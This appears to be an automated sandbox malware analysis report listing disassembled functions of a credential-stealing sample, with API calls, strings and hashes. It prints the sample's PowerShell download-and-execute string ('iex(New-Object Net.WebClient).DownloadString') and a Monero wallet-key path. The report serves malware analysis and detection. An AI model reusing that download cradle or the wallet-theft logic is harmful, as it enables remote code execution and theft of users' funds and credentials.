memset.MSVCRT ref: 006840D5
RegOpenKeyExA.ADVAPI32(80000001,012BDE80,00000000,00020119,?), ref: 006840F4
RegQueryValueExA.ADVAPI32(?,012BEA90,00000000,00000000,00000000,000000FF), ref: 00684118
RegCloseKey.ADVAPI32(?), ref: 00684122
lstrcat.KERNEL32(?,00000000), ref: 00684147
lstrcat.KERNEL32(?,012BE8B0), ref: 0068415B

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 4db77052385a3add2607e532c6fc89f15756579c05b892af1358bbade609fad2
Instruction ID: b95e89dc799a87573b9559c5150912aa3de440986917805e150a0fcd7f840232
Opcode Fuzzy Hash: 4db77052385a3add2607e532c6fc89f15756579c05b892af1358bbade609fad2
Instruction Fuzzy Hash: 3B41AAB6D001086BDB58FBA4DC56FFE733EBB48300F40865DB61A57181EE755B888B92

Function 006799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00679A11
LocalAlloc.KERNEL32(00000040,?), ref: 00679A31
ReadFile.KERNEL32(000000FF,?,00000000,0067148F,00000000), ref: 00679A5A
LocalFree.KERNEL32(0067148F), ref: 00679A90
CloseHandle.KERNEL32(000000FF), ref: 00679A9A

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a7b196a23964c8ee470425c7b0e2a44471a252647ed3253c997a8c7a61132b28
Instruction ID: 31f31e1a772d6f0b417ced7894c976b071020fd0a7a44a99fbf0fad27889fe6e
Opcode Fuzzy Hash: a7b196a23964c8ee470425c7b0e2a44471a252647ed3253c997a8c7a61132b28
Instruction Fuzzy Hash: E131E1B4A01209EFDB14CFA4C885BAE77F6BF48310F108258E915A7390D779AA41CFA1

Function 0068C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0068C8BF
___crtGetStringTypeA.LIBCMT ref: 0068C8EC
___crtLCMapStringA.LIBCMT ref: 0068C90C
___crtLCMapStringA.LIBCMT ref: 0068C931

Strings

, xrefs: 0068C896

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: e2a63e0e5ec08ead939fd5066081de7be62dbae43d7ed3e92ad1a520edfa41ba
Instruction ID: 6913038a59546fb63a4ba64a90be274f35cc55f16c8d47eb8e8141ff8fbb6164
Opcode Fuzzy Hash: e2a63e0e5ec08ead939fd5066081de7be62dbae43d7ed3e92ad1a520edfa41ba
Instruction Fuzzy Hash: 224115B110079C5EDF21AB248C84FFBBBFA9B45714F1445ECE98A86182E2719A45DF34

Function 00684780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,012BEB38), ref: 006847DB

Part of subcall function 00688DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00688E0B

lstrcat.KERNEL32(?,00000000), ref: 00684801
lstrcat.KERNEL32(?,?), ref: 00684820
lstrcat.KERNEL32(?,?), ref: 00684834
lstrcat.KERNEL32(?,012AA938), ref: 00684847
lstrcat.KERNEL32(?,?), ref: 0068485B
lstrcat.KERNEL32(?,012BDD20), ref: 0068486F

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 00688D90: GetFileAttributesA.KERNEL32(00000000,?,00671B54,?,?,0069564C,?,?,00690E1F), ref: 00688D9F

Part of subcall function 00684570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00684580
Part of subcall function 00684570: RtlAllocateHeap.NTDLL(00000000), ref: 00684587
Part of subcall function 00684570: wsprintfA.USER32 ref: 006845A6
Part of subcall function 00684570: FindFirstFileA.KERNEL32(?,?), ref: 006845BD

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: fb7a98f2d50d8ae03482984586ae4df806bd95465134c5d1aa4d18746a5bab17
Instruction ID: 9f334b1be6d1a89f3163855979df138b4e8f1b10c8851e5187a86122ffc3c981
Opcode Fuzzy Hash: fb7a98f2d50d8ae03482984586ae4df806bd95465134c5d1aa4d18746a5bab17
Instruction Fuzzy Hash: EB315FB2900208ABDB54FBB0DC85EE9737DBB58700F40469DB71996081EE749789CB9A

Function 00682C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

ShellExecuteEx.SHELL32(0000003C), ref: 00682D85

Strings

')", xrefs: 00682CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00682CC4
<, xrefs: 00682D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00682D04

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 08e9121092a3011796adfbe5aaa36226bafb95b47025d01f8e5ff4f8508cc020
Instruction ID: 24c3b02f62939e50a9ff176296b3c73332c7aefb4260c247cbe8005a1840d4d0
Opcode Fuzzy Hash: 08e9121092a3011796adfbe5aaa36226bafb95b47025d01f8e5ff4f8508cc020
Instruction Fuzzy Hash: 6C41CD718102089AEF58FBE0C891BDDB77AAF14300F40425EE416B7191DF786A4ACFA9

Function 00679E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00679F41

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00679E67
v20, xrefs: 00679E21
@, xrefs: 00679EF1
v10, xrefs: 00679EA3

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: e0f2638334e8c565637f6cce13765c1d9488e58401af799626b73eeea4002c65
Instruction ID: 35691a7acc4d9d3f00714df054b51a81eccafa05dfd0fcca1e79446df8c0af05
Opcode Fuzzy Hash: e0f2638334e8c565637f6cce13765c1d9488e58401af799626b73eeea4002c65
Instruction Fuzzy Hash: 28616F709002089FEB28EFA4CD96FED777AAF40304F008518F90E5F581EB746A46CB96

Function 006870D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

memset.MSVCRT ref: 0068716A

Strings

sh, xrefs: 00687111
sh, xrefs: 006872AE, 00687179, 0068717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0068718C

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: sh$sh$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-824928704
Opcode ID: 077866c952417ddc83c2d2049b02c23b1ab90a7e51095683ea2187a8191dc9d1
Instruction ID: 99e9c8a14fd5053361fb5184fe799dc8b35f9c6322c7697536325412f0646ecc
Opcode Fuzzy Hash: 077866c952417ddc83c2d2049b02c23b1ab90a7e51095683ea2187a8191dc9d1
Instruction Fuzzy Hash: D2518EB0C042189BDB64EB90DC95BEEB776AF54300F2442ADE61562281EB746E88CF59

Function 00687E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00687E37
RtlAllocateHeap.NTDLL(00000000), ref: 00687E3E
RegOpenKeyExA.ADVAPI32(80000002,012AB980,00000000,00020119,?), ref: 00687E5E
RegQueryValueExA.ADVAPI32(?,012BDE00,00000000,00000000,000000FF,000000FF), ref: 00687E7F
RegCloseKey.ADVAPI32(?), ref: 00687E92

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f4145b372c6bf101d687e913939e6eaa7ad8511d712086483488da6e58f042cc
Instruction ID: 9e3463f1b52fd5d276c4579b8e7173bbeb320772ab3ea57762f4c748b5c01d27
Opcode Fuzzy Hash: f4145b372c6bf101d687e913939e6eaa7ad8511d712086483488da6e58f042cc
Instruction Fuzzy Hash: B2115EB1A44205EBD718DF94DD49FBBBBBDFB04B10F204259F615A7680D77468018BA1

Function 00689260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(012BEAD8,?,?,?,0068140C,?,012BEAD8,00000000), ref: 0068926C
lstrcpyn.KERNEL32(008BAB88,012BEAD8,012BEAD8,?,0068140C,?,012BEAD8), ref: 00689290
lstrlen.KERNEL32(?,?,0068140C,?,012BEAD8), ref: 006892A7
wsprintfA.USER32 ref: 006892C7

Strings

%s%s, xrefs: 006892B5

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: b5c62715f6b4412c22e22bf8c6b85ff5694679e92dbf78f3594d188d030bf557
Instruction ID: 3abe8178ccceebd0b58e7dcf2aba76b75f131f5d871f0b8f80afab8c7cd9d6fc
Opcode Fuzzy Hash: b5c62715f6b4412c22e22bf8c6b85ff5694679e92dbf78f3594d188d030bf557
Instruction Fuzzy Hash: 1F01CC75510108FFCB08DFECC998EAE7BB9FB44364F148248F9199B305C631AA40DB95

Function 006712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006712B4
RtlAllocateHeap.NTDLL(00000000), ref: 006712BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006712F5
RegCloseKey.ADVAPI32(?), ref: 006712FF

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5206ba54ad68ac80852dba26b7a2d11b0aa7a673339c8ddbbc54d6e545c85d1f
Instruction ID: 1befca25e84963ae6e6316221d9e710816f17c9f0002dba4f90e7eab4277040a
Opcode Fuzzy Hash: 5206ba54ad68ac80852dba26b7a2d11b0aa7a673339c8ddbbc54d6e545c85d1f
Instruction Fuzzy Hash: E90131B9A40208BBDB04DFE4DC49FAEB7BCFB48701F008259FA1597280DA71AA018F51

Function 00686630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00686663

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

ShellExecuteEx.SHELL32(0000003C), ref: 00686726
ExitProcess.KERNEL32 ref: 00686755

Strings

<, xrefs: 006866D9

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
